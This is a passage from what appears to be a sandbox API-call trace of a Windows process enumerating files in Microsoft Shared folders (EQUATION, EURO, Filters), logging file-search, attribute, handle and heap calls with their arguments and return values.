(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7188 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fd9c0 [0232.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.087] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0232.087] GetLastError () returned 0x12 [0232.087] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0232.087] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0232.088] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.088] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0232.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.088] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0232.089] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0232.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.089] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0232.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.089] NtClose (Handle=0x1b4) returned 0x0 [0232.090] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5398 [0232.090] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0232.090] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.091] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0232.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5420 [0232.091] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5420) returned 1 [0232.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5420 [0232.091] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5420) returned 1 [0232.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5420 [0232.091] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5420) returned 1 [0232.091] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0232.091] GetLastError () returned 0x12 [0232.091] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0232.091] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0232.091] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.092] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0232.092] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0232.092] GetLastError () returned 0x12 [0232.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5398) returned 1 [0232.092] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0232.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.092] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0232.092] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0232.092] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0232.092] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0232.092] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0232.092] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0232.092] GetLastError () returned 0x12 [0232.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5288) returned 1 [0232.092] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0232.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.092] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0232.092] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0232.156] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0232.157] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.157] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0232.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.157] NtClose (Handle=0x1b0) returned 0x0 [0232.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.157] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.157] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5288 [0232.157] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.157] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0232.157] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.157] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0232.157] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.157] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.157] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.157] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0232.157] GetLastError () returned 0x12 [0232.157] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0232.157] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0232.158] GetLastError () returned 0x12 [0232.158] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.158] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0232.158] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5288) returned 1 [0232.158] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0232.158] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.158] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0232.162] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0232.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.162] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0232.162] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.162] NtClose (Handle=0x1b8) returned 0x0 [0232.162] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5288 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.163] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0232.163] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.163] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.163] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.163] 